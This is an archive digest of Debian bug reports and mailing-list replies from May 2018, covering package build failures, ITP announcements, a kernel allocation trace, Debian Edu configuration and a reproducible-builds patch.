But neither header_raw nor header_raw_pairs is described on the manpage.


-- System Information:
Debian Release: buster/sid
  APT prefers oldstable-updates
  APT policy: (500, 'oldstable-updates'), (500, 'unstable'), (500, 'oldstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.15.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Init: sysvinit (via /sbin/init)
LSM: AppArmor: enabled

Versions of packages libemail-mime-perl depends on:
ii  libemail-address-xs-perl1.01-1
ii  libemail-messageid-perl 1.406-1
ii  libemail-mime-contenttype-perl  1.022-1
ii  libemail-mime-encodings-perl1.315-1
ii  libemail-simple-perl2.214-1
ii  libmime-types-perl  2.14-1
ii  libmodule-runtime-perl  0.015-1
ii  perl5.26.2-3

libemail-mime-perl recommends no packages.

libemail-mime-perl suggests no packages.

-- no debconf information



Bug#859540: pavuk: Please migrate to openssl1.1 in Buster

2018-05-17 Thread Moritz Mühlenhoff
On Thu, Oct 12, 2017 at 11:44:34PM +0200, Sebastian Andrzej Siewior wrote:
> Hi,
> 
> this is a remainder about the openssl transition [0]. We really want to
> remove libssl1.0-dev from unstable for Buster. I will raise the severity
> of this bug to serious in a month. Please react before that happens.

Let's just remove it, the version currently in the archive has virtually no
users according to popcon, was released a decade ago by upstream and
there's a plethora of alternative download managers in the archive.

If there's no objections within the next weeks, I'll file for removal.

Cheers,
Moritz



Bug#898907: ethtool -K tso setting output noise msg "Cannot get device udp-fragmentation-offload settings: Operation not supported"

2018-05-17 Thread Xinliang Liu
Package: ethtool
Version: 1:4.8-1+b1

# uname -a
Linux debian 4.16.0-0.bpo.1-arm64 #1 SMP Debian 4.16.5-1~bpo9+1
(2018-05-06) aarch64 GNU/Linux

udp-fragmentation-offload is remove by the kernel.
ethtool should remvoe it. related patch link:
http://patchwork.ozlabs.org/patch/814796/

debian ethtool doesn't remove udp-fragmentation-offload. When setting
tso, it does can set, but it will output noise msg:

# ethtool -K eth0 tso on
Cannot get device udp-fragmentation-offload settings: Operation not supported
Cannot get device udp-fragmentation-offload settings: Operation not supported
# ethtool -k eth0
Features for eth0:
Cannot get device udp-fragmentation-offload settings: Operation not supported
.
tcp-segmentation-offload: on
tx-tcp-segmentation: on
tx-tcp-ecn-segmentation: off [fixed]
tx-tcp-mangleid-segmentation: on
tx-tcp6-segmentation: on
..

# ethtool -K eth0 tso off
Cannot get device udp-fragmentation-offload settings: Operation not supported
Cannot get device udp-fragmentation-offload settings: Operation not supported

# ethtool -k eth0
Features for eth0:
Cannot get device udp-fragmentation-offload settings: Operation not supported
.
tcp-segmentation-offload: off
tx-tcp-segmentation: off
tx-tcp-ecn-segmentation: off [fixed]
tx-tcp-mangleid-segmentation: off
tx-tcp6-segmentation: off




Bug#898906: libjgoodies-looks-java: FTBFS with Java 10 due to the com.sun.java.swing.plaf.windows package removal

2018-05-17 Thread Emmanuel Bourg
Package: libjgoodies-looks-java
Version: 2.7.0-2
Severity: serious
Tags: sid buster
User: debian-j...@lists.debian.org
Usertags: default-java10

libjgoodies-looks-java fails to build with Java 10 because the Windows L&F
classes are no longer available:

  [INFO] -
  [ERROR] COMPILATION ERROR : 
  [INFO] -
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsXPTableHeaderUI.java:[45,39]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsXPTableHeaderUI.java:[60,51]
 cannot find symbol
symbol: class WindowsTableHeaderUI
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsLookAndFeel.java:[71,72]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsScrollPaneUI.java:[53,79]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/common/MenuSelectionProcessor.java:[46,39]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsPasswordFieldUI.java:[46,82]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsMenuBarUI.java:[53,76]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsScrollBarUI.java:[46,78]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsXPMenuUI.java:[61,75]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsXPToolBarUI.java:[46,39]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsXPToolBarUI.java:[54,47]
 cannot inherit from final com.jgoodies.looks.windows.WindowsToolBarUI
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsTextAreaUI.java:[51,77]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsTreeUI.java:[75,73]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsComboBoxUI.java:[66,39]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsComboBoxUI.java:[84,71]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsTextFieldUI.java:[49,40]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsTabbedPaneUI.java:[61,79]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsPopupMenuUI.java:[59,78]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsSpinnerUI.java:[57,76]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsButtonUI.java:[48,75]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsSplitPaneUI.java:[47,78]
 package com.sun.java.swing.plaf.windows does not exist
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsXPTableHeaderUI.java:[65,16]
 incompatible types: com.jgoodies.looks.windows.WindowsXPTableHeaderUI cannot 
be converted to javax.swing.plaf.ComponentUI
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsXPTableHeaderUI.java:[68,5]
 method does not override or implement a method from a supertype
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/windows/WindowsXPTableHeaderUI.java:[70,9]
 cannot find symbol
symbol:   variable super
location: class com.jgoodies.looks.windows.WindowsXPTableHeaderUI
  [ERROR] 
/build/1st/libjgoodies-looks-java-2.7.0/src/main/java/com/jgoodies/looks/w

Bug#898898: xen: FTBFS on armhf and arm64 (for DSA-4201-1)

2018-05-17 Thread Ian Jackson
Salvatore Bonaccorso writes ("Bug#898898: xen: FTBFS on armhf and arm64 (for 
DSA-4201-1)"):
> Source: xen
> Version: 4.8.3+xsa262+shim4.10.0+comet3-1+deb9u6
> Severity: serious
> Justification: FTBFS
> Control: affects -1 + security.debian.org
> Control: affects -1 + release.debian.org
...
> xen for the last security upload for DSA-4201-1 FTBFS on armhf and
> arm64.
> 
> Attached the builds logs.

Sigh.  This is the 2nd time in a row.  I can see I am going to have to
test build every one of these on ARM each time.

Anyway, thanks, and apologies, and I will sort it.

Ian.



Bug#898483: PHYSFS_setWriteDir creates an empty file

2018-05-17 Thread Markus Koschany
Control: reassign 898483 libphysfs
Control: retitle 898484 physfs: setWriteDir creates an empty file
Control: found 898484 3.0.1-1

Hi,

Am 17.05.2018 um 06:43 schrieb Ryan C. Gordon:
> 
> Upstream patch is here:
> 
> https://hg.icculus.org/icculus/physfs/rev/a29fef4a20fd
> 
> I have one other pending bug to fix, hopefully tomorrow, then I'll put
> out an official 3.0.2 release.

Since Ryan confirmed the bug in physfs, I'm going to reassign this bug
to libphysfs.

Regards,

Markus



signature.asc
Description: OpenPGP digital signature


Bug#898908: ITP: octave-image-acquisition -- image acquisition package for Octave

2018-05-17 Thread Rafael Laboissière

Package: wnpp
Severity: wishlist
Owner: Rafael Laboissière 

* Package name: octave-image-acquisition 
 Version : 0.2.2 
 Upstream Author : Andreas Weber  
* URL : https://octave.sourceforge.io/image-acquisition/ 
* License : GPL-v3+ 
 Programming Lang: Octave, C++ 
 Description : image acquisition package for Octave


This package provides functions to capture images from connected 
devices in Octave, a scientific computation software. Currently only 
Video4Linux 2 is supported.


This Octave add-on package is part of the Octave-Forge project.

This package will be maintained in the realm of the Debian Octave 
Group. A preliminary version of the package can be built using 
git-buildpackage from the repository 
https://salsa.debian.org/pkg-octave-teamo/octave-image-acquisition.git




Bug#887861: Enable NetworkManager.wait-online.service on diskful workstations

2018-05-17 Thread Mike Gabriel

On  Di 15 Mai 2018 22:14:22 CEST, Wolfgang Schweer wrote:


It works for me too (virtual network, no real world deployment
available), if all entries except the loopback ones are commented.



So, you are saying that all network entries except loopback are  
commented out by defaut on workstation installations on buster? Also  
on stretch? I don't fully get what you mean by the last mail.


Note: this is not about NIC names, but about the NIC being commented  
out or not. On stretch, I have seen auto eth0 and inet eth0 ... being  
active and thus being ignored by the NetworkManager-wait-online.service.


The proper approach is having /etc/network/interfaces empty except for  
the loopback device.


Mike
--

DAS-NETZWERKTEAM
mike gabriel, herweg 7, 24357 fleckeby
mobile: +49 (1520) 1976 148
landline: +49 (4354) 8390 139

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgp8BK0hWaIRg.pgp
Description: Digitale PGP-Signatur


Bug#898909: ITP: reactphp-event-loop -- ReactPHP's core reactor event loop for evented I/O

2018-05-17 Thread Dominik George
Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: reactphp-event-loop
  Version : 0.5.2
  Upstream Author : Igor Wiedler, Chris Boden
* URL : https://github.com/reactphp/event-loop
* License : MIT
  Programming Lang: PHP
  Description : ReactPHP's core reactor event loop for evented I/O

-BEGIN PGP SIGNATURE-

iQKJBAEBCABzFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlr9XdAxGmh0dHBzOi8v
d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYyMcZG9taW5p
ay5nZW9yZ2VAaXQucGlyYXRlbnBhcnRlaS5kZQAKCRC3mjwWoMTyljGTD/94hesp
YYr6NiBSLqBG98ANvMBK5PKc6gsFaYUeU6lD4d3W19X7q04bUf2RaTMVLDlsjt3A
Re2bkFUJesDgZ/E6CKihJPRV0CeQH3zxDFlm98HQn4Y6zDOtN3OME1G+aPLlPO//
Z070cXS3hUxiR8BH3j9UCGHNcBLcVWSGglMrAU+q1pJuDTzdIFd/Pc+fxzIY1GkX
SMo8a9S0NUhslC8NYNTJ2QfeVndEOziSQAqccJskSu+AKZqmRK3ExsIOK1rOwIKF
MOeFbQzouclRNFvh/rRxH9Lx3smh1gyXSnUv88kDAKD6aj2cK+hPMd+sAyj9tXvd
xJUFjvGPbo5+n202YEJz17SCgNkwbkFXdPbQj9MmQH+6eD4tUfzShbpysPi9uN0k
e6vb2ASXVMdzySvZSRsCUVdsi8YPtFvVKtpY98xTtweODHD7nDgNfqf3tjJ9n744
3HLWBQ8Yrfyubry7UB2qjEA2CQ69m4XW+eoExbDg72nfWR/0RbXp7AZ4vpghhqkW
pMoCW8LqSbMcxfZkPJ0KA/OD7VjexsspktYN+/0IpCKAfIoZBgOpWi6S/Pc+zd2X
McGTOAKOC0SNR4fBEatyXyksho/VOEr8vefXtmku/+Ng7Xtdj+0nmiTb+x4ZV/T4
uksNghnP286ZXk5+MhXrEmkXHplhbKaAFplfeA==
=l4S7
-END PGP SIGNATURE-



Bug#898836: HTML validator error for templates/popup: Stray end tag "span".

2018-05-17 Thread Martin Michlmayr
* Simon McVittie  [2018-05-16 15:36]:
> It looks as though it does, so I pushed that change upstream.

Thank you!

-- 
Martin Michlmayr
https://www.cyrius.com/



Bug#895019: LTSP (Fat) Clients: Recommend / Depend on new tool desktop-autoloader

2018-05-17 Thread Mike Gabriel

Hi Holger,

On  Fr 06 Apr 2018 14:06:21 CEST, Mike Gabriel wrote:


On  Fr 06 Apr 2018 13:46:22 CEST, Holger Levsen wrote:


Hi Mike,

On Fri, Apr 06, 2018 at 10:23:58AM +, Mike Gabriel wrote:
I recently uploaded a new tool for Diskless Machines to Debian  
(derived from

Klaus Ade Johnstad's brain). We should start using it in Debian buster to
enhance performance on Debian Edu based LTSP fat client machines.


merely installing the packages does nothing, right? (So it's a safe
thing to do, see discussion in #895020)


Not yet. Simply installing it enables it by default.

Let's wait for the next upstream release (0.0.4-1).

Mike


we are good to go now with 0.0.4-1. If that version of  
desktop-autoloader is installed, it will do nothing until enabled by  
the sysadmin.


Mike
--

DAS-NETZWERKTEAM
mike gabriel, herweg 7, 24357 fleckeby
mobile: +49 (1520) 1976 148
landline: +49 (4354) 8390 139

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgpckqC3gOyle.pgp
Description: Digitale PGP-Signatur


Bug#895020: Pre-configure desktop-autoloader appropriately for Debian Edu LTSP fat client

2018-05-17 Thread Mike Gabriel

Hi Holger,

On  Fr 06 Apr 2018 15:33:23 CEST, Holger Levsen wrote:


Mike,

still I would really really prefer not to get cc:ed when mailing
debian-edu bugs. Maybe one day...

On Fri, Apr 06, 2018 at 12:01:51PM +, Mike Gabriel wrote:

> - how much RAM does the feature need to be useful?
it should only get into action on machines with 2GB+. Good point. Noted for
the upstream part.


eeks, so this is also an important bug, maybe even serious, but i'm too
lazy to also file this one as...


Fixed in 0.0.4-1.


> - is there any randomisation or will all classroom computers torture the
>   server and network at the same time?
The randomisation currently is only in the WoL part of Debian Edu. Right.
Noted for upstream, too.


this should also be filed as a bug and fixed before enabling by default.


Fixed in 0.0.4-1.


> - has this been tested with other desktops than MATE?
Yes. XFCE. We can do more tests, of course. The more consumptive the desktop
env the more worth a test case. Noted.


yes, please test at least KDE and Gnome as well. (third bug, untested on
KDE+Gnome.)


Still pending. Tests follow over the weekend.


> As it only gets active before 7:30 AM I assume its safe to turn on the
> computer at other times? And it's "after midnight but before 7:30 AM
> localtime" I assume?
We assume, that noone is around at schools betweek 0:00h 7:30h, indeed.


Debian Edu is also targeting universities...


And they appear even later on campus, at least here in Kiel.


And
it is, of course, localtime. And: cron.d files are editable.


everything is editable. We *need* sensible default. (This seems to be
one.)


We have sensible defaults now, I think.


> > This mainly means:
> >   - only execute on LTSP fat clients
> ack
> >   - add some .desktop file symlinks to /etc/desktop-autoloader/autostart
> why?
To pre-load heavy-load-regular-used applications (e.g. firefox, libreoffice)


so without those .desktop files it would still to part of its job?


It would load the desktop env that x-session-manager points at.


> Also: how to disable this feature? This *must* be described in the
> manuel.
Good point. There will be a patch upstream for that, too.


no, this is not what I ment: it must be described in our Debian Edu manual (
and upstream as well, I agree.)


The desktop-autoloader now come in disabled state by default. It needs  
to be enabled in /etc/defaults/desktop-autoloader.



Thanks for thinking about this,


well, you are welcome, but I also expect more thoughts before suggesting
enabling some new feature by default...


:-)

Mike

--

DAS-NETZWERKTEAM
mike gabriel, herweg 7, 24357 fleckeby
mobile: +49 (1520) 1976 148
landline: +49 (4354) 8390 139

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgpbjlr6B0ifc.pgp
Description: Digitale PGP-Signatur


Bug#898853: gnuplot.lisp

2018-05-17 Thread besoa606
Dear Gunther,

The gnuplot.lisp file that I have (maxima 5.38.1-8) does not contain the lines 
above but instead at lines 3393-3396:

(when (and (not *multiplot-is-active*)
   (not (member (get-option '$terminal) '($epslatex 
$epslatex_standalone
  (format cmdstorage "set obj 1 rectangle behind from screen 
~a,~a to screen ~a,~a~%" 
 origin1 origin2 (+ origin1 size1 ) (+ 
origin2 size2)))  ))

As far as I understand it, $epslatex and $epslatex_standalone have been 
singled out for gnuplot processing (for some reason). Either
- the two lines should be activated
 "set obj 1 rectangle etc."
 "set obj 1 fc rgb etc."
- or the two of them are removed from ~/maxout.gnuplot (in that case, no 
background ), whereas on debian stretch only the second line is present.
Both cases can generate .tex file.  (I only have gnuplot 5 too). The bug comes 
from the first line missing.

Best regards,

# locate gnuplot.lisp
/usr/share/maxima/5.38.1/share/draw/gnuplot.lisp
#apt-cache show maxima-share gnuplot
Package: maxima-share
Source: maxima
Version: 5.38.1-8
Package: gnuplot
Version: 5.0.5+dfsg1-6+deb9u1



Bug#898301: ITP: openjazz -- a free, open-source version of the classic Jazz Jackrabbitâ?¢ games

2018-05-17 Thread Simon McVittie
On Thu, 17 May 2018 at 11:25:53 +0200, Fabian Greffrath wrote:
> Simon McVittie wrote:
> > g-d-p patches welcome! Hopefully this should be a relatively simple game
> > to package due to its age.
> 
> Probably a stupid question, but since GOG provides a package for Windows
> and one for Linux (in general), which one do we use for g-d-p?

No strong preference. Assuming they contain the same data files, plus
different executables/wrappers/emulators that you will discard anyway:

If one of the packages is smaller, prefer that one.

If one of the packages is more straightforward to unpack, prefer that one.
(g-d-p has built-in support for unpacking tar and zip archives which is
lighter-weight than needing innoextract.)

If you're feeling particularly thorough, tell g-d-p how to unpack both.

smcv



Bug#898910: ITP: dd-plist -- Java library for working with property lists

2018-05-17 Thread 殷啟聰 | Kai-Chung Yan
Package: wnpp
Severity: wishlist

* Package-Name : dd-plist
* Version : 1.20-1
* License : MIT
* Programming-Lang: Java
* Description : Java library for working with property lists
* Vcs :  https://salsa.debian.org/java-team/dd-plist

This package builds the following binary package:

* libdd-plist-java

This package is a new dependency [1] by Gradle 4.4, which is what I have been 
working on.

[1]: 
https://salsa.debian.org/seamlik-guest/gradle/commit/c1931b69bbdc91cb33f1f4e182621deb3e2c9a17



signature.asc
Description: OpenPGP digital signature


Bug#896666: qemu-system-x86: page allocation failure: 4.16.0-0.bpo.1-amd64

2018-05-17 Thread Russell Mosemann

 
Package: src:linux
Version: 4.16.5-1~bpo9+1
Severity: important

 
 
May 16 21:23:53 vhost003 kernel: qemu-system-x86: page allocation failure: 
order:4, mode:0x140c0c0(GFP_KERNEL|__GFP_COMP|__GFP_ZERO), nodemask=(null)
May 16 21:23:53 vhost003 kernel: qemu-system-x86 cpuset=emulator 
mems_allowed=0-1
May 16 21:23:53 vhost003 kernel: CPU: 12 PID: 18871 Comm: qemu-system-x86 
Tainted: G  I  4.16.0-0.bpo.1-amd64 #1 Debian 4.16.5-1~bpo9+1
May 16 21:23:53 vhost003 kernel: Hardware name: HP ProLiant DL380 G6, BIOS P62 
08/16/2015
May 16 21:23:53 vhost003 kernel: Call Trace:
May 16 21:23:53 vhost003 kernel:  dump_stack+0x5c/0x85
May 16 21:23:53 vhost003 kernel:  warn_alloc+0xfc/0x180
May 16 21:23:53 vhost003 kernel:  __alloc_pages_slowpath+0xded/0xe00
May 16 21:23:53 vhost003 kernel:  ? _cond_resched+0x16/0x40
May 16 21:23:53 vhost003 kernel:  __alloc_pages_nodemask+0x212/0x250
May 16 21:23:53 vhost003 kernel:  kmalloc_order+0x14/0x40
May 16 21:23:53 vhost003 kernel:  kmalloc_order_trace+0x1d/0xa0
May 16 21:23:53 vhost003 kernel:  kvm_dev_ioctl+0xb4/0x680 [kvm]
May 16 21:23:53 vhost003 kernel:  do_vfs_ioctl+0xa2/0x620
May 16 21:23:53 vhost003 kernel:  SyS_ioctl+0x74/0x80
May 16 21:23:53 vhost003 kernel:  do_syscall_64+0x6c/0x130
May 16 21:23:53 vhost003 kernel:  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
May 16 21:23:53 vhost003 kernel: RIP: 0033:0x7feae6ae5dd7
May 16 21:23:53 vhost003 kernel: RSP: 002b:7fffee24f858 EFLAGS: 0246 
ORIG_RAX: 0010
May 16 21:23:53 vhost003 kernel: RAX: ffda RBX: ae01 
RCX: 7feae6ae5dd7
May 16 21:23:53 vhost003 kernel: RDX:  RSI: ae01 
RDI: 000b
May 16 21:23:53 vhost003 kernel: RBP:  R08: 55c40afc69b8 
R09: 0050
May 16 21:23:53 vhost003 kernel: R10: 0020 R11: 0246 
R12: 55c40d52dc30
May 16 21:23:53 vhost003 kernel: R13: 0002 R14: 0120 
R15: 
May 16 21:23:53 vhost003 kernel: Mem-Info:
May 16 21:23:53 vhost003 kernel: active_anon:8703 inactive_anon:13770 
isolated_anon:0
  active_file:23607 inactive_file:941271 
isolated_file:0
  unevictable:16418 dirty:90277 writeback:1 
unstable:0
  slab_reclaimable:53840 
slab_unreclaimable:544486
  mapped:26730 shmem:10928 pagetables:3942 
bounce:0
  free:70655 free_pcp:30 free_cma:0
May 16 21:23:53 vhost003 kernel: Node 0 active_anon:22084kB 
inactive_anon:37932kB active_file:59744kB inactive_file:1684056kB 
unevictable:62744kB isolated(anon):0kB isolated(file):0kB mapped:85348kB 
dirty:53096kB writeback:0kB shmem:42724kB shmem_thp: 0kB shmem_pmdmapped: 0kB 
anon_thp: 18432kB writeback_tmp:0kB unstable:0kB all_unreclaimable? no
May 16 21:23:53 vhost003 kernel: Node 1 active_anon:12728kB 
inactive_anon:17148kB active_file:34684kB inactive_file:2081028kB 
unevictable:2928kB isolated(anon):0kB isolated(file):0kB mapped:21572kB 
dirty:308012kB writeback:4kB shmem:988kB shmem_thp: 0kB shmem_pmdmapped: 0kB 
anon_thp: 0kB writeback_tmp:0kB unstable:0kB all_unreclaimable? no
May 16 21:23:53 vhost003 kernel: Node 0 DMA free:15892kB min:20kB low:32kB 
high:44kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB 
unevictable:0kB writepending:0kB present:15992kB managed:15908kB mlocked:0kB 
kernel_stack:0kB pagetables:0kB bounce:0kB free_pcp:0kB local_pcp:0kB 
free_cma:0kB
May 16 21:23:53 vhost003 kernel: lowmem_reserve[]: 0 3486 30139 30139 30139
May 16 21:23:53 vhost003 kernel: Node 0 DMA32 free:121204kB min:5204kB 
low:8772kB high:12340kB active_anon:21616kB inactive_anon:32816kB 
active_file:56020kB inactive_file:1654748kB unevictable:58560kB 
writepending:53084kB present:3643520kB managed:3577952kB mlocked:58560kB 
kernel_stack:1728kB pagetables:7256kB bounce:0kB free_pcp:0kB local_pcp:0kB 
free_cma:0kB

May 16 21:23:53 vhost003 kernel: lowmem_reserve[]: 0 0 26653 26653 26653
May 16 21:23:53 vhost003 kernel: Node 0 Normal free:43168kB min:39784kB 
low:67076kB high:94368kB active_anon:596kB inactive_anon:4976kB 
active_file:3724kB inactive_file:29308kB unevictable:4184kB writepending:12kB 
present:27787264kB managed:27292884kB mlocked:4184kB kernel_stack:1640kB 
pagetables:260kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB
May 16 21:23:53 vhost003 kernel: lowmem_reserve[]: 0 0 0 0 0
May 16 21:23:53 vhost003 kernel: Node 1 Normal free:102356kB min:45096kB 
low:76032kB high:106968kB active_anon:12600kB inactive_anon:17288kB 
active_file:34684kB inactive_file:2081928kB unevictable:2928kB 
writepending:308016kB present:31457276kB managed:30943772kB mlocked:2928kB 
kernel_stack:5128kB pagetables:8252kB bounce:0kB free_pcp:120kB local_pcp:0kB 
free_cma:0kB
May 16 21:23:53 vhost003 kernel: lowmem_reserve[]: 0 0 0 0 0
May 16 21:23:53 vhost003 kernel: Node 0 DMA: 1*4kB (U) 0*8kB 1*16kB (

Bug#898911: ITP: reactphp-promise-timer -- Trivial implementation of timeouts for promises on top of ReactPHP

2018-05-17 Thread Dominik George
Package: wnpp
Severity: wishlist
Owner: Dominik George 

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

* Package name: reactphp-promise-timer
  Version : 1.3.0
  Upstream Author : Christian Lück
* URL : https:/github.com/reactphp/promise-timer
* License : MIT
  Programming Lang: PHP
  Description : Trivial implementation of timeouts for promises on top of 
ReactPHP

-BEGIN PGP SIGNATURE-

iQKJBAEBCABzFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlr9YxQxGmh0dHBzOi8v
d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYyMcZG9taW5p
ay5nZW9yZ2VAaXQucGlyYXRlbnBhcnRlaS5kZQAKCRC3mjwWoMTyljGJD/9/i2v+
L01kLtIjXF7BEa01c7Ss49gu22evwc8Zku8tKahiCaYpFDHkko9RCqY0T6Q5s8tb
RlJefwmitgsXSdomkquA4eT53JQlDQLwNirWweyqSNm0bU+oMS9oICB4mOONRk9F
lG8DREy96VEwUkstI1mtIFzJmt0xGCxm2L7vOcPAAL90MJVhwmDng8iMydZ1cmZk
KBE3spoxgrvPFeiIGIjTUYnlalH6a0HUGXpkaq5mjBxDLAwPIvAIrzz3oUpXDEOs
qLooOFAfQMMT0FlzfaKhgzEKxsrGRbUYT9VV3IkgjTXr02KxZo8yWvqpgvriS3jZ
HVLlhF17K26Tcf9eX95MMUnILupt2d6z44ovxiGrQa2n7K7l9lLXS7bG8WUEbD8B
MhkusWrDDUATTt6Jf9BYImex31j6EDidFGcQeGju+B77nCfrSPISOg6vX39WUgOu
9KPUr+Ukzb4cs/Z4R/Fx2+mHqn6MZavn7D9vKi4sPflRA1XEm6z03hUGYjXZ8cfk
vuGK8DYgiWQJZXYZ/aroklXOsfVcOJc8X1l+E1X3dfoWDMQIpUnh4UFmLcUazVVp
8Vaphdz8WpX/vurJ9JdvZDqgvSIsZAoCoI+BNS/73hhr2X9i1HToHNIASwiFRAA3
58KCJpR3PXKeehIP9ktJ0G6ZxfsbpcIpAUFpFA==
=3fCv
-END PGP SIGNATURE-


Bug#898912: telepathy-gabble: please make the build reproducible

2018-05-17 Thread Chris Lamb
Source: telepathy-gabble
Version: 0.18.4-1
Severity: wishlist
Tags: patch
User: reproducible-bui...@lists.alioth.debian.org
Usertags: buildpath
X-Debbugs-Cc: reproducible-b...@lists.alioth.debian.org

Hi,

Whilst working on the Reproducible Builds effort [0], we noticed
that telepathy-gabble could not be built reproducibly.

This was due to a test file using the absolute build directly.

Patch attached that simply drops this file - it won't work without
the build-time ./libtool wrapper anyway...

 [0] https://reproducible-builds.org/


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-
--- a/debian/patches/Reproducible-build.patch   1970-01-01 01:00:00.0 
+0100
--- b/debian/patches/Reproducible-build.patch   2018-05-17 12:49:41.382034189 
+0200
@@ -0,0 +1,16 @@
+Description: Make the build reproducible
+Author: Chris Lamb 
+Last-Update: 2018-05-17
+
+This file won't work without the build-time ./libtool anyway.
+
+--- telepathy-gabble-0.18.4.orig/tests/twisted/Makefile.am
 telepathy-gabble-0.18.4/tests/twisted/Makefile.am
+@@ -288,7 +288,6 @@ if ENABLE_INSTALLED_TESTS
+ twistedtestsdir = @gabbletestsdir@/twisted
+ nobase_nodist_twistedtests_SCRIPTS = \
+   run-test.sh \
+-  tools/exec-with-log.sh \
+   tools/run-gabble.sh \
+   $(NULL)
+ nobase_dist_twistedtests_SCRIPTS = \
--- a/debian/patches/series 2018-05-17 12:18:32.808996924 +0200
--- b/debian/patches/series 2018-05-17 12:42:23.427877897 +0200
@@ -1 +1,2 @@
 Add-a-systemd-user-service.patch
+Reproducible-build.patch


Bug#898913: libcsfml: silently drops dependencies with libsfml 2.5

2018-05-17 Thread James Cowgill
Source: libcsfml
Version: 2.4-2
Severity: important
Tags: sid buster

Unfortunately the new CMake config scripts shipped with libsfml 2.5
causes libcsfml to silently not depend on the correct SFML libraries.
This is limited to the libcsfml Debian package because the package tries
to use the FindSFML.cmake file shipped with libsfml-dev but since this
file has been dropped in 2.5, the config scripts will be used instead.

I think the best way is to patch the build scripts to use the new config
system and then build-depend on libsfml 2.5. Some work has already been
done in this upstream PR:
https://github.com/SFML/CSFML/pull/127

James



signature.asc
Description: OpenPGP digital signature


Bug#898586: Babeld 1.8.1 is buggy, please upgrade to 1.8.2

2018-05-17 Thread Benda Xu
